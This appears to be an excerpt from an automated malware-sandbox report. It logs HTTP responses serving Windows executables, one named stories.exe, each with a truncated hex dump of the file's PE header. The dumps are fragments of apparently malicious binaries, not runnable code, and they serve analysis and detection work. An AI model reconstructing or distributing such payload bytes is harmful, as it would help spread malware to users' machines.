00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 02:21:12 GMTContent-Type: application/octet-streamContent-Length: 192000Last-Modified: Sat, 24 Aug 2024 14:58:01 GMTConnection: keep-aliveETag: "66c9f4f9-2ee00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 98 e0 c8 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 90 64 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 24 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d8 a9 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 23 00 80 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 f4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 4a c6 01 00 00 10 00 00 00 c8 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 ee ce 00 00 00 e0 01 00 00 d0 00 00 00 cc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 94 2b 21 00 00 b0 02 00 00 0c 00 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 2a 44 00 00 00 e0 23 00 00 46 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.1Date: Fri, 27 Sep 2024 02:21:14 GMTContent-Type: application/octet-streamContent-Length: 3247089Connection: keep-aliveX-Powered-By: PHP/7.4.33Content-Description: File TransferContent-Disposition: attachment; filename=stories.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 9e 00 00 00 46 00 00 00 00 00 00 f8 a5 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 50 09 00 00 00 10 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 30 9d 00 00 00 10 00 00 00 9e 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 50 02 00 00 00 b0 00 00 00 04 00 00 00 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 90 0e 00 00 00 c0 00 00 00 00 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 50 09 00 00 00 d0 00 00 00 0a 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 e0 00 00 00 00 00 00 00 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 00 00 00 02 00 00 00 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 c4 08 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 2c 00 00 00 10 01 00 00 2c 00 00 00 b2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 00 00 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 02:21:15 GMTContent-Type: application/octet-streamContent-Length: 4278784Last-Modified: Thu, 12 Sep 2024 13:56:06 GMTConnection: keep-aliveETag: "66e2f2f6-414a00"Accept-Ranges: bytesData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 ba 08 00 00 8c 38 00 00 00 00 00 4c c9 08 00 00 10 00 00 00 d0 08 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 41 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 10 09 00 78 22 00 00 00 20 0a 00 00 82 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 09 00 40 b5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 09 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 94 b9 08 00 00 10 00 00 00 ba 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 20 2d 00 00 00 d0 08 00 00 2e 00 00 00 be 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 01 0f 00 00 00 00 09 00 00 00 00 00 00 ec 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 78 22 00 00 00 10 09 00 00 24 00 00 00 ec 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 40 09 00 00 00 00 00 00 10 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 50 09 00 00 02 00 00 00 10 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 40 b5 00 00 00 60 09 00 00 b6 00 00 00 12 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 82 37 00 00 20 0a 00 00 82 37 00 00 c8 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 41 00 00 00 00 00 00 4a 41 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 02:21:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 02:21:21 GMTContent-Type: application/octet-streamContent-Length: 419328Last-Modified: Thu, 26 Sep 2024 16:40:28 GMTConnection: keep-aliveETag: "66f58e7c-66600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0b d9 e1 fd 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 4a 06 00 00 1a 00 00 00 00 00 00 ae 68 06 00 00 20 00 00 00 80 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 06 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 60 68 06 00 4b 00 00 00 00 80 06 00 f4 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 06 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 48 06 00 00 20 00 00 00 4a 06 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f4 16 00 00 00 80 06 00 00 18 00 00 00 4c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 06 00 00 02 00 00 00 64 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 68 06 00 00 00 00 00 48 00 00 00 02 00 05 00 0c 5b 03 00 a0 aa 02 00 03 00 00 00 dd 04 00 06 ac 05 06 00 c0 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 2a 00 00 2e 28 05 05 00 06 28 01 00 00 06 2a 1b 30 09 00 ce 05 00 00 01 00 00 11 00 73 0d 00 00 0a 0a 00 00 02 7e 05 00 00 04 25 3a 17 00 00 00 26 7e 04 00 00 04 fe 06 26 00 00 06 73 0e 00 00 0a 25 80 05 00 00 04 28 01 00 00 2b 6f 10 00 00 0a 0b 38 5b 05 00 00 07 6f 11 00 00 0a 0c 00 08 17 17 1a 8d 0b 00 00 01 25 16 1f 46 7e 32 03 00 04 28 bf 05 00 06 a2 25 17 1f 47 7e 32 03 00 04 28 bf 05 00 06 a2 25 18 1f 48 7e 32 03 00 04 28 bf 05 00 06 a2 25 19 1f 65 7e 32 03 00 04 28 bf 05 00 06 a2 7e 33 03 00 04 28 c3 05 00 06 0d 00 09 6f 12 00 00 0a 13 04 38 d4 04 00 00 12 04 28 13 00 00 0a 13 05 73 1a 00 00 06 13 06 00 73 e1 03 00 06 13 07 11 06 7e 14 00 00 0a 7d 02 00 00 04 7e 14 00 00 0a 13 08 00 11 06 11 05 73 15 00 00 0a 28 16 00 00 0a 6f 17 00 00 0a 7d 02 00 00 04 11 06 7b 02 00 00 04 1f 49 7e 32 03 00 04 28 bf 05 00 06 6f 18 00 00 0a 13 09 11 09 39 15 00 00 00 00 1f 49 7e 32 03 00 04 28 bf 05 00 06 13 08 00 38 43 00 00 00 00 11 05 1f 1
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 02:21:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 02:21:24 GMTContent-Type: application/octet-streamContent-Length: 321536Last-Modified: Mon, 16 Sep 2024 13:46:13 GMTConnection: keep-aliveETag: "66e836a5-4e800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 f2 26 e8 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 dc 04 00 00 0a 00 00 00 00 00 00 0e fb 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 fa 04 00 57 00 00 00 00 00 05 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 05 00 0c 00 00 00 7c f9 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 14 db 04 00 00 20 00 00 00 dc 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 08 06 00 00 00 00 05 00 00 08 00 00 00 de 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 05 00 00 02 00 00 00 e6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 fa 04 00 00 00 00 00 48 00 00 00 02 00 05 00 98 e9 04 00 e4 0f 00 00 03 00 02 00 10 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 c9 11 68 37 03 ef c9 ea 63 37 33 eb 0c 77 88 e8 56 29 4a 2e 3a 18 a0 61 ed 57 27 e2 3d e6 7c a4 94 a0 51 26 fe a7 b0 05 a7 70 e5 eb e9 0e 49 49 6f 4f 9a 0c e2 67 c5 f5 c5 96 51 c2 fb 08 50 b7 7e 43 4d 16 02 1d 76 40 8e 50 2a e4 ea 53 6c 93 7f 83 1b 61 3d 08 cb 3a 75 3f 45 44 bd 22 a1 f8 4a 70 d6 d5 f1 8a 8f c5 32 a7 96 72 1c 42 c6 a3 ea 48 be cc 98 82 3f b7 76 87 a7 30 5d 32 ae c1 1f e9 8c e5 3e f4 c3 46 cc 7d c9 73 36 0b 98 4e 0e 2e cf 88 68 f7 23 19 a5 c6 02 ab 5a 93 36 97 d9 67 5e 67 75 da 61 57 26 d1 8a 32 95 6e 3f ad 76 97 d9 b0 2a e0 53 88 cb 14 7d 85 21 d4 5e 14 a1 45 cc 68 aa 64 70 c0 d3 c5 a5 14 bf 66 63 34 7b d7 b5 d3 2f 4f aa ac 49 bd f5 84 b9 76 e1 51 2c 55 d4 d4 e2 3e 78 4b b6 ac 63 f5 44 ca 85 1b e6 2f 0e d4 45 37 2e 00 ae 54 1c e3 ad a6 f4 74 84 1a b1 d1 a8 90 b8 79 c2 cc c6 b6 66 87 82 53 43 e2 d6 18 de 29 fa 46 b3 6d cc 22 32 18 c4 a7 ea 4d 73 fb 33 22 4b 4c af 65 89 8c 7a 63 db 42 62 c3 2d 05 6c c3 5c 17 9e fe 01 d
